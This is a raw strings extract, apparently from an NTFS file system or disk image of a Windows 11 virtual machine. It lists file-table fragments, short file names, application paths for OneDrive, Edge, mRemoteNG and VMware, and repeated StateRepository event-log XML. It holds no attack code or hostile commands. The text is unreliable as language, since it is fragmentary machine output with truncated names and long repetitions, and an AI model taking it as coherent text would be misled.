WFD_LEGACY_profile_v1.xsd WFD_profile_v1.xsd MeasuredBoot $I300 suredBoot $I300 Telephony $I300 Telephony $I300 Media $I300 Focus2_48000Hz.raw Ring04.wav Windows Balloon.wav Windows Menu Command.wav $I30 $I30 Afternoon $I300 Afternoon $I300 STARTM~1 StartMenuProviderRanking $I300 mdl.json.compressed model.onnx.compressed Microsoft.NET $I300 assembly authman Framework Framework64 ngennicupdatelock.dat NGENNI~1.DAT assembly $I300 GAC_32 GAC_64 GAC_MSIL GAC_32 $I300 *Microsoft.Management.Infrastructure.Native $I30 $I30 CustomMarshalers ISymWrapper Microsoft.AppV.AppvClientComConsumer sbscmp10.dllorw sbscmp20_mscorwks.dlldl sbscmp20_perfcounter.dll sbs_diasymreader.dllt.d sbs_microsoft.jscript.dll sbs_mscordbi.dll sbs_mscorrc.dll sbs_mscorsec.dllgur $sbs_system.configuration.install.dll sbs_system.data.dll !sbs_system.enterpriseservices.dll sbs_wminet_utils.dllT SharedReg12.dll v1.0.3705 v1.1.4322 v2.0.50727 v4.0.30319 ACTIVA~2.LOG ActivationStore.dat.LOG2 MI9184~1.XML Microsoft.Windows.ShellExperienceHost_10.0.26100.7462_neutral_neutral_cw5n1h2txyewy.xml MICROS~1.746 Microsoft.Windows.ShellExperienceHost_10.0.26100.7462_neutral_neutral_cw5n1h2txyewy $I300 $I30 $I30 ActivationStore.dat.LOG1 ACTIVA~1.DAT MICROS~1.MET microsoft.system.package.metadata $I300 MIF8AA~1.EVT Microsoft-Windows-AppReadiness%4Operational.evtx UNEXPE~1.JSO UnexpectedCodepathLogging.json MESSAG~1.JSO messages.json WINDOW~2.100 windows.immersivecontrolpanel_10.0.8.1000_neutral_neutral_cw5n1h2txyewy $I300 $I30 $I30 ActivationStore.dat.LOG1 ACTIVA~1.DAT MESSAG~1.JSO messages.json $I300 messages.json MESSAG~1.JSO Locales $I300 $I30 $I30 copilot_overlay_strings_eu.pak copilot_overlay_strings_id.pak $I30 $I30 bn-IN.pak MESSAG~1.JSO messages.json ACTIVA~1.DAT ActivationStore.dat ACTIVA~1.LOG ActivationStore.dat.LOG1 ACTIVA~2.LOG ActivationStore.dat.LOG2 MIC5CB~1.EVT Microsoft-Windows-AppReadiness%4Admin.evtx BROKER~1 BrokerInfrastructure $I300 BgTaskRegistrationMaintenanceTask BGTASK~1 BGTASK~1 BgTaskRegistrationMaintenanceTask THEMES~1 ThemesSyncedImageDownload 100295~1.100 10.0.29510.1001-0 $I300 ja-JPso $I30 $I30 SECURI~1.DLL SECURI~2.DLL 338655~1.GZ0 338655-86f2c4458115bf74.js.gz BOOTST~1 BootstrapUsageDataReporting SVCRES~2 SvcRestartTaskNetwork MIFC66~1.EVT Microsoft-Windows-NetworkProfile%4Operational.evtx MI72BF~1.EVT Microsoft-Windows-Wcmsvc%4Operational.evtx Device MIE21D~1.EVT Microsoft-Windows-StateRepository%4Operational.evtx MI88F2~1.EVT Microsoft-Windows-StateRepository%4Restricted.evtx MID8B0~1.EVT Microsoft-Windows-SMBClient%4Operational.evtx MI00FB~1.EVT Microsoft-Windows-SmbClient%4Connectivity.evtx MI8CEE~1.EVT Microsoft-Windows-SmbClient%4Security.evtx MIFFFA~1.EVT Microsoft-Windows-SmbClient%4Audit.evtx MI4B6B~1.EVT Microsoft-Windows-SMBServer%4Operational.evtx wfpdiag.etl CONSOL~1 Consolidator STATER~1 StateRepository $I300 MaintenanceTasks MAINTE~1 temp $I300 ea-{ca41900b-0ec0-11f1-b1f8-000c29f29c8b} EA-{CA~1 SVCRES~3 SvcRestartTask REPORT~1 Report policies STARTO~4 StartOobeAppsScan_LicenseAccepted {6AF06~1.DB0 {6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000001.db MI755E~1.EVT Microsoft-Windows-Windows Firewall With Advanced Security%4FirewallDiagnostics.evtx DOWNLO~1 DownloadedSettings $I300 TELEME~4.JSOors $I30 $I30 UTCALL~1.JSO UTCPRI~1.JSO DOWNLO~2 DownloadedScenarios $I300 SCENAR~1 ScenariosSqlStore $I300 $I30 $I30 EventStore.db-wal EVENTS~1.DB EVENTS~1.DB-.DB Sideload $I300 SOFTLA~1 SoftLanding $I300 SOFTLA~2 SoftLandingStage $I300 EXPORT~1 ExporterStorage $I300 AGGREG~1 AggregatorStorage $I300 $I30 $I30 AGGREG~1 Triggers UpdateHeartbeatScan$ identity_helper.Sparse.Internal.msix $identity_helper.Sparse.Internal.msix )identity_helper.Sparse.Internal.msix.DATA -copilot.identity_helper.Sparse.Dev.msixbundle 2copilot.identity_helper.Sparse.Dev.msixbundle.DATA dvdplay.exe0 dvdplay.exe WofCompressedData $DSC dvdplay.exe $DSC dwm.exe $DSC $DSC dwm.exe0 dwm.exe WofCompressedData $DSC dxdiag.exe dxdiag.exe WofCompressedData $DSC XblAuthTokenBrokerExt.dll XblAuthTokenBrokerExt.dll WofCompressedData $DSC WofCompressedData $DSC DXGIAD~1.EXE dxgiadaptercache.exe $DSC DXGIAD~1.EXE dxgiadaptercache.exe $DSC $DSC ELEVAT~1.EXE elevate-shim.exe WofCompressedData WofCompressedData $DSC elevated_tracing_service.exe $DSC notification_click_helper.exe XpsDocumentTargetPrint.dll XpsDocumentTargetPrint.dll WofCompressedData $DSC XpsDocumentTargetPrint.dll XpsDocumentTargetPrint.dll WofCompressedData $DSC +copilot_overlay_images_100_percent.pak.DATA0 COPILO~1.PAK copilot_overlay_images_100_percent.pak EOAEXP~1.EXE EoAExperiences.exe EoAExperiences.exe WofCompressedData $DSC EOAEXP~1.EXE EoAExperiences.exe $DSC $DSC All Users ALLUSE~1 Default Default User DEFAUL~1ini desktop.ini Public Public Public AppData Application Data APPLIC~1 Contacts Cookies Desktop Documents DOCUME~1s Downloads DOWNLO~1s Favorites FAVORI~1 LinksR. Local Settings LOCALS~1 MusicR. My Documents MYDOCU~1ATM NetHood NTUSER.DATM ntuser.dat.LOG1 ntuser.dat.LOG2 1.regtrans-ms NTUSER.DAT{ca419014-0ec0-11f1-b1f8-000c29f29c8b}.TMContainer00000000000000000002.regtrans-ms NTUSER~1.BLF NTUSER~1.LOG NTUSER~1.REG NTUSER~2.LOG NTUSER~2.REG Picturesmes PrintHoodes PRINTH~1mes RecentG Saved Games SAVEDG~1 SendTo Videos NTUSER.DAT{ca419014-0ec0-11f1-b1f8-000c29f29c8b}.TMContainer00000000000000000001.regtrans-ms NTUSER.DAT{ca419014-0ec0-11f1-b1f8-000c29f29c8b}.TMContainer00000000000000000002.regtrans-ms ntuser.iniL NTUSER~1.BLF NTUSER~1.LOG NTUSER~1.REG NTUSER~2.LOG NTUSER~2.REG OneDrivemes Picturesmes PrintHoodes PRINTH~1mes RecentG Saved Games SAVEDG~1 Searches SendTo Start Menu STARTM~1 Templates TEMPLA~1 Videos Application DataR APPLIC~1t Commsct ConnectedDevicesPlatform CONNEC~1 D3DSCache D3DSCA~1 History IconCache.db ICONCA~1.DB Microsoft MICROS~1 mRemoteNG MREMOT~1 Packages PlaceholderTileLogoFolder PLACEH~1 Publishers PUBLIS~1 Temp Temporary Internet Files TEMPOR~1 VirtualStore VIRTUA~1 AppActionss APPACT~1als Credentials CREDEN~1 EdgesVR FeedsVR Feeds Cache FEEDSC~1 GameDVR Internet Explorer INTERN~1aye Media PlayerP MEDIAP~1 OneDrivey PenWorkspace PENWOR~1y PlayReady PLAYRE~1 TokenBroker TOKENB~1 Vaultws Windows Windows Sidebar WindowsApps WINDOW~1 WINDOW~2 WERMGR~2.PF0 WERMGR.EXE-BE3A79B5.pf APPXMA~1.XML AppxManifest.xml WofCompressedData DE68C5~1.XML DesktopBaselessCompDB_FOD_gl-ES.CompDB.xml 1.15.0.1 1150~1.1 $I300 $I30 $I30 $I30 $I30 MANIFE~1.JSO Microsoft.CognitiveServices.Speech.core.dll APPXBL~1.XML AppxBlockMap.xml WofCompressedData APPXME~1 AppxMetadata $I300 CodeIntegrity.cat CODEIN~1.CAT CODEIN~1.CAT CodeIntegrity.cat APPXSI~1.P7X AppxSignature.p7x LOCALC~1 LocalCache $I300 Settings $I300 $I30 $I30 ROAMIN~1.LOC settings.dat settings.dat.LOG1 SETTIN~1.LOG SECURI~1.PF0 SECURITYHEALTHSYSTRAY.EXE-E527A4AE.pf SYSTEM~1 SystemAppData $I300 POOL_T~1 pool_tags_summary $I300 $I30 $I30 08_347.json pool_tags_summary_2026-02-21_11_49_26_586.json POOL_T~1.JSO POOL_T~1.JSO pool_tags_summary_2026-02-21_11_02_08_347.json MSE773~1.PF0 MSEDGE.EXE-37D25FA4.pf RU7D5D~1.PF0 RUNTIMEBROKER.EXE-4551A062.pf edb0001D.log OneDrive $I300 $I30 $I30 25.087.0506.0001_1 250870~1.000 250870~2.000 OneDrive.exe setup setup $I300 ECSConfig.json ECSCON~1.JSO logs logs $I300 Install-PerUser_2026-02-21_111627_996-5940.log $I30 $I30 INSTAL~1.AOD INSTAL~1.LOG ComboBox $I300 $I30 $I30 ComboBox.js ComboBox.styles.js ComboBox.types.js index.js RUDED2~1.PF0 RUNTIMEBROKER.EXE-BE26AA6C.pf COMMAN~1 CommandBar $I300 $I30 $I30 CommandBar.js CommandBar.styles.js CommandBar.types.js OneDrive.exe WofCompressedData ONEDRI~1.PNG OneDriveMedTile.contrast-black_scale-100.png Common $I300 FileCoAuth-2026-02-24.0759.5668.2.odlgz $I30 $I30 telemetry-dll-ramp-value.txt TELEME~1.TXT CONTEX~1 ContextualMenu $I300 $I30 $I30 ContextualMenu.classNames.js ContextualMenu.cnstyles.js ContextualMenu.js TELEME~1.TXT telemetry-dll-ramp-value.txt OneDrive.lnk ONEDRI~1 OneDrive Standalone Update Task-S-1-5-21-3914889805-4071901059-918772286-1001 OneDrive $I300 desktop.ini desktop.ini ONEDRI~2 OneDrive Reporting Task-S-1-5-21-3914889805-4071901059-918772286-1001 ONEDRI~3 OneDrive Startup Task-S-1-5-21-3914889805-4071901059-918772286-1001 FILESY~1.PF0 FILESYNCCONFIG.EXE-F4FE2D64.pf Personal $I300 FileCoAuth-2026-02-21.1116.1400.1.odlgz Install-PerUser-2026-02-21.1102.9488.1.odlgzlog INSTAL~2.ODL026 $I30 $I30 1.TXT $I300 FileSync.LocalizedResources.dll.mui FILESY~1.MUI localizable.json LOCALI~1.JSO TELEME~1.TXT telemetry-dll-ramp-value.txt ONEDRI~2.PF0 ONEDRIVE.EXE-0E8FA8E9.pf settings $I300 $I30 $I30 CxP.db-shmr CxP.db-walr CXP~1.DB-.D CXP~2.DB- Personal CxP.db CXP~1.DB- CxP.db-wal CXP~2.DB- CxP.db-shm Personal $I300 OCSI.db $I30 $I30 SettingsDatabase.db-wal SETTIN~1.DB SETTIN~1.DB-.DB SETTIN~1.DB0 SettingsDatabase.db SETTIN~1.DB- SettingsDatabase.db-wal SETTIN~2.DB- SettingsDatabase.db-shm SYNCEN~1.DB0 SyncEngineDatabase.db ACTION~1.DB0 ActionFXCache.db 3057 $I300 $I30 $I30 $I300 $I30 $I30 MANIFE~1.JSO safety_tips.pb SAFETY~1.PB OCSI.db 1E1174~1 1e1174204f8a0a13de2e224a1be882d2724a6fd13ba18a895fd5098fd5552460 ACTION~1 ActionFXMetadata $I300 ActionFXMetadata.json ACTION~1.JSO UPDATE~1.LOG Update_2026-02-21_111656_6436-7176.log Update $I300 update.xml update.xml update.xml DEVICE~1 DeviceFailureDatagram $I300 FEEDBA~1 FeedbackHub $I300 SubmissionPayload.json SUBMIS~1.JSO SUBMIS~1.JSO SubmissionPayload.json CxP.db E20381~1 E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D E20381~1 E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A 0872AF~1.XML 0872af26047692500f0c318077d1cfd61f3a327d[1].xml ECSCON~1.JSO ECSConfig.json UXDATA~1.DB0 UXDatabase.db BROWSE~2.PMA BrowserMetrics-69999429-5A8.pma lockfile CONTEX~1 ContextualMenuItemWrapper $I300 $I30 $I30 ContextualMenuButton.js ContextualMenuItemWrapper.js GENERA~1.KEY general.keystore Common Files COMMON~1 desktop.ini Internet Explorer INTERN~1 Microsoft Microsoft.NET MICROS~1 mRemoteNGef MREMOT~1Def WI8A19~1Def Windows Defender Windows Mail Windows Media Player Windows NT Windows Photo Viewer Windows Sidebar WindowsPowerShell WINDOW~1 WINDOW~2 WINDOW~3 WINDOW~4 Edge EdgeCore EdgeUpdate EDGEUP~1 EdgeWebView EDGEWE~1 Temp 2.1.98.0 2198~1.0 $I300 $I30 $I30 $I30 $I30 AUTO_O~1.JS edge_checkout_page_validator.js FI7397~1.ODL FileCoAuth-2026-02-24.0800.6368.1.odlgz 128183~1.1 128.18367.18366.1 $I300 manifest.json Wallet-BuyNow $I30 $I30 $I30 l_driver.js MANIFE~1 MANIFEST-000010 CURRENT 000010~1.DBT NETWOR~2 Network Persistent State 202622~2.1 2026.2.23.1 $I300 manifest.json MANIFE~1.JSO typosquatting_list.pb TYPOSQ~1.PB TYPOSQ~1.PB 000010.log FBAF94~1.TBR fbaf94e759052658216786bfbabcdced1b67a5c2.tbres MANIFE~1 MANIFEST-000010 updat updat _00000~1.CDF _0000000000000000.cdf-ms $DSC $TXF_DATA QUICKC~1 Quick Connect $I300 01.png 02.png 03.png SHS-02~4.ETL SHS-02242026-090644-7-1ff-26100.1.amd64fre.ge_release.240331-1435.etl f_000021 FIF4EC~1.ODL FileCoAuth-2026-02-24.0800.6368.2.odlgz STANDA~1.LOG StandaloneUpdate_2026-02-24_080424_6800-3884.loggz RU6EB0~1.PF0 RUNDLL32.EXE-75313621.pf archiveint.dll WofCompressedData $DSC VMWARE~1 vmware-job $I300 VMwareDnD VMWARE~1 dtctrace.log MREMOT~1 mRemoteNG $I300 $I30 $I30 mRemoteNG.log MREMOT~1.LOG Themes f_000022 NETWOR~2 Network Persistent State MREMOT~1 mRemoteNG $I300 ja-JPnL Schemas $I30 $I30 Help CHANGE~1.TXT Changelog.txt 01C5CB~1.TBR 01c5cb21ab1d4fd56e65159d6c36cd5db1f647e1.tbres Credits.txt@ 08.png WEIFEN~1.DLL WeifenLuo.WinFormsUI.Docking.ThemeVS2015.dll REFERE~1 Reference $I300 01.png 01.png 13.png Update.htm Icons $I300 Remote Desktop.ico $I30 $I30 Tel.ico Test Server.ico Workstation.ico WORKST~1.ICO WORKST~1.ICO Workstation.ico Themes $I300 $I30 $I30 DARCUL~1.VST vs2015dark.vsthemee vs2015light.vstheme VS2015~1.VST DARCUL~1.VST darcula.vstheme 05.png AXINTE~1.DLL AxInterop.MSTSCLib.dll LOCK log4net.dll TERMIN~1.ICO Terminal Server.ico Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational EventData Data Partition SchemaVersion Filename C:\ProgramData\Microsoft\Windows\AppRepository\StateRepository-Machine.srd Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational C:\ProgramData\Microsoft\Windows\AppRepository\StateRepository-Deployment.srd Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational MachineDisposition PreviousMachineVersion DeploymentDisposition PreviousDeploymentVersion MigratorErrors Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Partition ProcessId Scope Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational ErrorCode Options MachineDatabase_Pages !MachineDatabase_PagesCheckpointed DeploymentDatabase_Pages $DeploymentDatabase_PagesCheckpointed Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational ErrorCode MachineSize_Before MachineJournalSize_Before DeploymentSize_Before DeploymentJournalSize_Before MachineSize_After MachineJournalSize_After DeploymentSize_After DeploymentJournalSize_After MaintenancePerformed Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Options Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational ProcessId Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational Microsoft-Windows-StateRepository Microsoft-Windows-StateRepository/Operational WofCompressedData $DSC FSUTIL~1.DLL fsutilext.dll fsutilext.dll WofCompressedData $DSC $DSC fveapi.dll WofCompressedData $DSC Microsoft-OneCore-Http-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat WofCompressedData fveapi.dll fveapi.dll WofCompressedData $DSC $DSC FVEAPI~1.DLL fveapibase.dll fveapibase.dll WofCompressedData $DSC Microsoft-OneCore-Pnp-Full-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat WofCompressedData fvecerts.dll fvecerts.dll WofCompressedData $DSC $DSC fvecerts.dll fvecerts.dll WofCompressedData $DSC Microsoft-OneCore-SystemCounters-Package~31bf3856ad364e35~amd64~~10.0.26100.4768.cat WofCompressedData fveui.dll fveui.dll WofCompressedData $DSC Microsoft-OneCore-SystemCounters-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat WofCompressedData fveui.dll $DSC $DSC FVEUPD~1.DLL fveupdateai.dll WofCompressedData $DSC Microsoft-Windows-CoreSystem-DriverSupport-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3624.cat WofCompressedData fwbase.dll fwbase.dll WofCompressedData $DSC $DSC Microsoft-Windows-CoreSystem-DriverSupport-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat WofCompressedData FWPOLI~1.DLL fwpolicyiomgr.dll $DSC $DSC Microsoft-Windows-CoreSystem-RemoteFS-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat WofCompressedData WofCompressedData $DSC FWPUCLNT.DLL $DSC Microsoft-Windows-Foundation-Group-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat WofCompressedData gdi32.dll gdi32.dll WofCompressedData $DSC Microsoft-Windows-Foundation-Win0-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat WofCompressedData GDI32F~1.DLL gdi32full.dll WofCompressedData $DSC Microsoft-Windows-Foundation-Win0-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7309.cat WofCompressedData GDI32F~1.DLL gdi32full.dll gdi32full.dll WofCompressedData $DSC $DSC Microsoft-Windows-Foundation-Win0-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat WofCompressedData GdiPlus.dll WofCompressedData $DSC GdiPlus.dll WofCompressedData $DSC gpapi.dll gpapi.dll WofCompressedData $DSC $DSC gpsvc.dll gpsvc.dll WofCompressedData $DSC gpsvc.dll WofCompressedData $DSC GROUPT~1.DLL grouptrusteeai.dll WofCompressedData $DSC icmp.dll icmp.dll WofCompressedData $DSC icu.dll0 icu.dll WofCompressedData $DSC icu.dll WofCompressedData $DSC icuin.dll icuin.dll WofCompressedData $DSC icuin.dll $DSC icuuc.dll icuuc.dll WofCompressedData $DSC icuuc.dll $DSC IEFILE~1.DLL IEFileInstallAI.dll WofCompressedData $DSC IEFILE~1.DLL IEFileInstallAI.dll WofCompressedData $DSC IEFILE~1.DLL IEFileInstallAI.dll WofCompressedData $DSC IEFILE~1.DLL IEFileInstallAI.dll WofCompressedData $DSC iertutil.dll iertutil.dll WofCompressedData $DSC $DSC imagehlp.dll imagehlp.dll WofCompressedData $DSC $DSC imagehlp.dll imagehlp.dll WofCompressedData $DSC $DSC imagehlp.dll $DSC $DSC imagehlp.dll $DSC $DSC imapi2fs.dll WofCompressedData $DSC imm32.dll imm32.dll WofCompressedData $DSC $DSC imm32.dll $DSC $DSC IMPLAT~1.DLL ImplatSetup.dll WofCompressedData $DSC inetmib1.dll $DSC input.dll input.dll WofCompressedData $DSC $DSC IntlProvider.dll INTLPR~1.DLL IntlProvider.dll WofCompressedData $DSC INTLPR~1.DLL IntlProvider.dll $DSC $DSC IPHLPAPI.DLL IPHLPAPI.DLL WofCompressedData $DSC $DSC IPHLPAPI.DLL $DSC $DSC IPSECSVC.DLL IPSECSVC.DLL WofCompressedData $DSC IPSECSVC.DLL $DSC $DSC scesrv.dll scesrv.dll WofCompressedData 